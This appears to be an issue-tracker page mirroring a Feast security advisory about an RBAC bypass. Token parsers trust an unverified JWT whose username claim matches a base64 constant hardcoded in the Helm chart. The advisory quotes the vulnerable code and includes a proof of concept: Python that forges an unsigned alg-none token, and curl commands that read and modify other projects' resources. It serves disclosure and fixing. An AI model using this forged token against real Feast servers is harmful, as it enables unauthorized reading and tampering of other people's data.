feast-dev / feast-dev/feast

Hardcoded intra-server-communication trust value in OidcTokenParser/KubernetesTokenParser allows full unauthenticated RBAC bypass

Open
#6,785 0 comments 0 reactions 0 assignees View on GitHub
kind/bug priority/p2
Dominant language
Python
Stars
7.3k
Forks
1.4k
Avg merge
1d 21h
Merged PRs (30d)
15

Description

reported on 7 July 2026 via https://github.com/feast-dev/feast/security/advisories/GHSA-h543-6vgr-fm36:

### Summary

Feast's RBAC system lets internal Feast components (e.g. a feature server calling the registry server) skip normal authentication by sending a token whose `preferred_username` (OIDC) or service-account name (Kubernetes) claim matches the value of the `INTRA_COMMUNICATION_BASE64` environment variable. Both token parsers check this value against a **completely unverified** JWT decode, performed before any signature check or IdP round-trip. The value it is compared against is hardcoded to a fixed, publicly-known string in Feast's own Helm chart (`infra/charts/feast-feature-server/templates/deployment.yaml`): `base64("intra-server-communication")`.

Any user who can send an HTTP/gRPC/Arrow Flight request to a Feast server deployed with this chart (or any deployment that copies this common default) can craft a JWT with an empty/garbage signature and this one claim, and be granted a special "intra-communication" identity that Feast's security manager treats as fully trusted, skipping every permission check in the RBAC system for every project on that server: full read of every project's entities, feature views, data sources, and permission policies, and full create/update/delete of all of them.

### Details

`SecurityManager.assert_permissions`/`permitted_resources` in `sdk/python/feast/permissions/security_manager.py` first call `is_auth_necessary`:

```python
# sdk/python/feast/permissions/security_manager.py:238-254
def is_auth_necessary(sm: Optional[SecurityManager]) -> bool:
intra_communication_base64 = os.getenv("INTRA_COMMUNICATION_BASE64")

if sm is None:
return False

if sm.current_user is None:
return True

if sm.current_user.username == intra_communication_base64:
return False # <-- ALL permission checks are skipped

return True
```

If `is_auth_necessary` returns `False`, `assert_permissions` and `permitted_resources` both return every requested resource unchecked - no `Permission` object is ever consulted.

The "current user" is set per-request by `inject_user_details` (REST) / the gRPC and Arrow Flight auth interceptors, which all call the same `AuthManager.token_parser.user_details_from_access_token()`. For OIDC mode this is `OidcTokenParser`:

```python
# sdk/python/feast/permissions/auth/oidc_token_parser.py:150-158
try:
unverified = jwt.decode(access_token, options={"verify_signature": False})
except jwt.exceptions.DecodeError as e:
raise AuthenticationError(f"Failed to decode token: {e}")

user = self._get_intra_comm_user(unverified)
if user:
return user # <-- returned BEFORE _validate_token()/_decode_token() (JWKS) ever runs
```

```python
# sdk/python/feast/permissions/auth/oidc_token_parser.py:252-265
@staticmethod
def _get_intra_comm_user(decoded_token: dict) -> Optional[User]:
intra_communication_base64 = os.getenv("INTRA_COMMUNICATION_BASE64")
if intra_communication_base64:
if "preferred_username" in decoded_token:
preferred_username: str = decoded_token["preferred_username"]
if preferred_username == intra_communication_base64:
return User(username=preferred_username, roles=[])
return None
```

`jwt.decode(..., options={"verify_signature": False})` accepts any syntactically valid JWT regardless of algorithm or signature. Only *after* this early return does the parser call `_validate_token` (OAuth2 bearer check) and `_decode_token` (genuine JWKS RS256 signature verification against the configured IdP). Normal users therefore *are* properly signature-checked (confirmed below) - it is specifically the intra-communication identity that bypasses this entirely.

`KubernetesTokenParser.user_details_from_access_token` has the mirror-image issue (`sdk/python/feast/permissions/auth/kubernetes_token_parser.py:52-60`): it extracts `sub` from an unverified decode (`_decode_token`, itself calling `jwt.decode(access_token, options={"verify_signature": False})` at line 465) and if the extracted service-account name equals `INTRA_COMMUNICATION_BASE64`, returns a trusted `User` immediately. The preceding `TokenReview` call (`_extract_groups_and_namespaces_from_token`) swallows all exceptions and simply returns empty groups/namespaces on failure rather than aborting, so an invalid/unauthenticated token does not stop the unverified `sub` check from being reached.

The value being compared against is not a per-deployment secret. It is hardcoded in Feast's own Helm chart:

```yaml
# infra/charts/feast-feature-server/templates/deployment.yaml:43-47
env:
- name: FEATURE_STORE_YAML_BASE64
value: {{ .Values.feature_store_yaml_base64 }}
- name: INTRA_COMMUNICATION_BASE64
value: {{ "intra-server-communication" | b64enc }}
```

`{{ "intra-server-communication" | b64enc }}` evaluates to the constant `aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24=` on every deployment made with this chart - it is not templated from a per-install secret or generated randomly. This exact string is also what Feast's own legitimate client code sends, confirming the intended (and, as shown, entirely unverified) format of the trust token:

```python
# sdk/python/feast/permissions/client/intra_comm_authentication_client_manager.py:18-32
def get_token(self):
if self.auth_config.type == AuthType.OIDC.value:
payload = {"preferred_username": f"{self.intra_communication_base64}"}
elif self.auth_config.type == AuthType.KUBERNETES.value:
payload = {"sub": f":::{self.intra_communication_base64}"}
...
return jwt.encode(payload, "", algorithm="none")
```

Feast's own internal client mints this token with `algorithm="none"` and an empty key - i.e., the legitimate, by-design credential for this bypass is an unsigned token. Any external caller who reproduces this exact, publicly-documented shape gets the same trust level as an internal Feast component, on every serving interface, because REST (`permissions/server/rest.py`), gRPC (`permissions/server/grpc.py`) and Arrow Flight (`permissions/server/arrow.py`) all resolve the current user through the same `token_parser.user_details_from_access_token()` call.

### PoC

Environment: Feast REST Registry Server (`feast serve_registry --no-grpc --rest-api`) started with `auth.type: oidc` pointed at a local mock IdP (JWKS/RS256, so genuine signature verification is exercised), `INTRA_COMMUNICATION_BASE64` set to the exact value the official Helm chart hardcodes (`aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24=` = `base64("intra-server-communication")`), and two projects (`project_a`, `project_b`) each with one entity, one feature view, and a `RoleBasedPolicy` `Permission` requiring a project-specific role (`project_a_reader` / `project_b_reader`) for `DESCRIBE`/`READ_*`.

1. No token -> denied (auth is active):
```
$ curl -s -w "\nHTTP_STATUS:%{http_code}\n" "http://127.0.0.1:6572/api/v1/entities?project=project_a"
{"status_code":401,"detail":"Invalid or expired access token","error_type":"HTTPException"}
HTTP_STATUS:401
```

2. A properly-signed (RS256, JWKS-verified) token for a user with no matching role -> denied, proving normal RBAC and normal signature verification are both actively enforced:
```
$ curl -s -w "\nHTTP_STATUS:%{http_code}\n" -H "Authorization: Bearer $NOPRIV" \
"http://127.0.0.1:6572/api/v1/entities?project=project_a"
{"status_code":403,"detail":"Permission error:\nPermission project_a_reader_permission denied execution of ['DESCRIBE'] to Entity:user_id: Requires roles ['project_a_reader']","error_type":"FeastPermissionError"}
HTTP_STATUS:403
```

3. The forged bypass token, built exactly like Feast's own internal client (`alg: none`, empty signature, `preferred_username` = the hardcoded chart value):
```python
import jwt
payload = {"preferred_username": "aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24="}
token = jwt.encode(payload, "", algorithm="none")
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhVzUwY21FdGMyVnlkbVZ5TFdOdmJXMTFibWxqWVhScGIyND0ifQ.
```

Using this token, with **no valid signature and no assigned role whatsoever**:

Read every permission policy on the server (would normally require a dedicated "read permissions" grant):
```
$ curl -s -H "Authorization: Bearer $TOKEN" "http://127.0.0.1:6572/api/v1/permissions?project=project_a"
{"permissions":[{"spec":{"name":"project_a_reader_permission","types":["PROJECT","FEATURE_VIEW", ... ],
"actions":["DESCRIBE","READ_OFFLINE","READ_ONLINE"],"policy":{"roleBasedPolicy":{"roles":["project_a_reader"]}}}, ...}]}
HTTP_STATUS:200
```

Read a feature view (including its data source file path) in a different project than any legitimate reader role would allow:
```
$ curl -s -H "Authorization: Bearer $TOKEN" "http://127.0.0.1:6572/api/v1/feature_views?project=project_b"
{"featureViews":[{"spec":{"name":"project_b_public_metrics", ... ,
"batchSource":{"fileOptions":{"uri":"/.../data/project_b_data.parquet"}, ...}}, ...}]}
HTTP_STATUS:200
```

Create an arbitrary new entity in `project_b` (CREATE, no permission held):
```
$ curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"attacker_planted_entity","project":"project_b","join_key":"attacker_id"}' \
"http://127.0.0.1:6572/api/v1/entities"
{"name":"attacker_planted_entity","project":"project_b","status":"applied"}
HTTP_STATUS:201
```

Delete it again (DELETE, no permission held):
```
$ curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
"http://127.0.0.1:6572/api/v1/entities/attacker_planted_entity?project=project_b"
{"name":"attacker_planted_entity","project":"project_b","status":"deleted"}
HTTP_STATUS:200
```

Every one of these calls used a token with an empty/garbage signature and zero assigned roles, against a server that had just correctly rejected a properly-signed, unprivileged, properly-authenticated user for the exact same operation.

### Impact

Any network caller able to reach a Feast registry server, feature server, or Arrow Flight server running in `oidc` or `kubernetes` auth mode with the default/documented Helm-chart configuration can fully bypass RBAC: read every entity, feature view, data source (including data source connection details such as file/table paths and query strings), saved dataset, and permission policy across every project on that server, and create, update, or delete any of them, with no valid credential of any kind. Because the trust value is a fixed constant published in Feast's own source tree rather than a per-deployment secret, this is exploitable against any deployment that has not manually overridden `INTRA_COMMUNICATION_BASE64` to a private, unpublished value - which most default installs following the official Helm chart will not have done.

version: commit f296d4ba14c5d512429219b2b7845673e0fe524d

Contributor guide

Open the contributing guide

Research direction

Start with sdk/python/feast/permissions/auth/oidc_token_parser.py, kubernetes_token_parser.py, and permissions/security_manager.py, then inspect the Helm deployment template and intra-communication client. Run the supplied REST PoC against the affected configuration and trace the REST, gRPC, and Arrow Flight entry points. Done means invalid tokens no longer receive the trusted identity or bypass permission checks, while legitimate authentication behavior remains covered.

Written by the indexing model from the issue text.

Assessment

Tech stack
helm, kubernetes, python
Domain
authentication, authorization, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
32/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.